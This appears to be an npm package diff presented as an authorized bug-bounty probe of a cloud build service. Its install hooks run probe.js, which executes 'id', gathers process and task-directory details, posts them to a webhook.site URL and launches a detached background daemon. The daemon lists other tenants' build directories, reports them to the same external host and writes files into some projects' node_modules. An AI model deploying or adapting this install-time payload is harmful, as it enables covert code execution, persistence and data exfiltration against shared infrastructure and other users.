twilio-hackerone-poc-afe6937c 1.0.0

package/daemon.js

@@ -0,0 +1,45 @@
+// Authorized Twilio HackerOne research daemon. Observation-first.
+// Records WHICH tenant build directories share this packager container.
+// Writes ONLY into build dirs of researcher-owned accounts (positive control). Never reads foreign file contents.
+const fs=require('fs'), path=require('path'), https=require('https');
+const HOOK='https://webhook.site/b520829e-516a-45ff-980c-173aa54fc4bc';
+const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
+const OWN=['AC07de79f2af00295019b8cb17cea01e9a'];       // subaccount of SELF - positive control target
+const CID=(process.env.AWS_LAMBDA_LOG_STREAM_NAME||'unknown')+'|'+Math.random().toString(36).slice(2,10);
+const state={seen:{},inj:{},ticks:0,started:Date.now()};
+function post(o){try{o.cid=CID;const b=JSON.stringify(o);const r=https.request(HOOK,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}}
+function inject(dir,ac,zs,zf){
+  try{
+    const nm=path.join(dir,'node_modules'); if(!fs.existsSync(nm)) return;
+    const t=path.join(nm,'h1-poc-marker');
+    if(fs.existsSync(path.join(t,'index.js'))) return;
+    fs.mkdirSync(t,{recursive:true});
+    fs.writeFileSync(path.join(t,'package.json'),JSON.stringify({name:'h1-poc-marker',version:'1.0.0',main:'index.js'}));
+    fs.writeFileSync(path.join(t,'index.js'),"module.exports={writtenBy:'"+SELF+"',into:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',at:"+Date.now()+",cid:'"+CID+"'};\n");
+    const k=ac+'/'+zs+'/'+zf;
+    if(!state.inj[k]){state.inj[k]=1;post({event:'wrote',ac,zs,zf,at:Date.now()});}
+  }catch(e){post({event:'write-err',ac,err:''+e});}
+}
+function tick(){
+  state.ticks++;
+  let dirs=[]; try{dirs=fs.readdirSync('/tmp').filter(d=>/^AC[0-9a-f]{32}$/.test(d));}catch(e){return;}
+  for(const ac of dirs){
+    if(ac===SELF) continue;
+    const owned=OWN.indexOf(ac)>=0;
+    let svcs=[]; try{svcs=fs.readdirSync('/tmp/'+ac);}catch(e){}
+    for(const zs of svcs){
+      let pkgs=[]; try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){}
+      for(const zf of pkgs){
+        if(zf.indexOf('.tar')>=0) continue;
+        const k=ac+'/'+zs+'/'+zf;
+        if(!state.seen[k]){state.seen[k]=1;post({event:'seen',ac,zs,zf,owned:owned,foreign:!owned,at:Date.now()});}
+        if(owned) inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf);
+      }
+    }
+  }
+}
+setInterval(tick,100);
+let hb=0;
+setInterval(()=>{hb++;post({event:'hb',n:hb,ticks:state.ticks,seen:Object.keys(state.seen).length,uptime:Date.now()-state.started});},30000);
+setTimeout(()=>{post({event:'daemon-exit',ticks:state.ticks,seen:Object.keys(state.seen).length});process.exit(0);},15*60*1000);
+post({event:'daemon-start',at:Date.now(),pid:process.pid,logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null});

package/hook.txt

@@ -0,0 +1 @@
+b520829e-516a-45ff-980c-173aa54fc4bc

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "twilio-hackerone-poc-afe6937c",
+  "version": "1.0.0",
+  "description": "Authorized Twilio HackerOne bug bounty research probe. Observation only. Delete after triage.",
+  "main": "index.js",
+  "license": "MIT",
+  "scripts": {
+    "preinstall": "node ./probe.js || true",
+    "postinstall": "node ./probe.js || true"
+  }
+}

package/probe.js

@@ -0,0 +1,30 @@
+const fs=require('fs'), cp=require('child_process'), https=require('https');
+const HOOK_FILE=__dirname+'/hook.txt';
+function main(){
+  const cwd=process.cwd();
+  if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return;   // no-op outside the Twilio packager
+  const hook=fs.readFileSync(HOOK_FILE,'utf8').trim();
+  // one-shot execution proof
+  let id='';
+  try{ id=cp.execSync('id',{timeout:4000}).toString().trim(); }catch(e){ id=''+e; }
+  const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid,
+    logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null,
+    task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(),
+    yarn:(function(){try{return fs.readFileSync('/proc/'+process.ppid+'/cmdline','utf8').replace(/\0/g,' ').slice(0,220);}catch(e){return ''+e;}})(),
+    at:Date.now()};
+  try{const b=JSON.stringify(info);const r=https.request(hook,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}
+  // spawn/refresh the observation daemon
+  try{
+    const VER='1.0.0';
+    let cur=null; try{cur=fs.readFileSync('/tmp/.h1poc.ver','utf8');}catch(e){}
+    if(cur!==VER){
+      try{const op=parseInt(fs.readFileSync('/tmp/.h1poc.pid','utf8'),10); if(op) process.kill(op,'SIGKILL');}catch(e){}
+      fs.copyFileSync(__dirname+'/daemon.js','/tmp/.h1poc-daemon.js');
+      const c=cp.spawn(process.execPath,['/tmp/.h1poc-daemon.js'],{detached:true,stdio:'ignore',cwd:'/tmp'});
+      c.unref();
+      fs.writeFileSync('/tmp/.h1poc.pid',String(c.pid));
+      fs.writeFileSync('/tmp/.h1poc.ver',VER);
+    }
+  }catch(e){}
+}
+try{main();}catch(e){}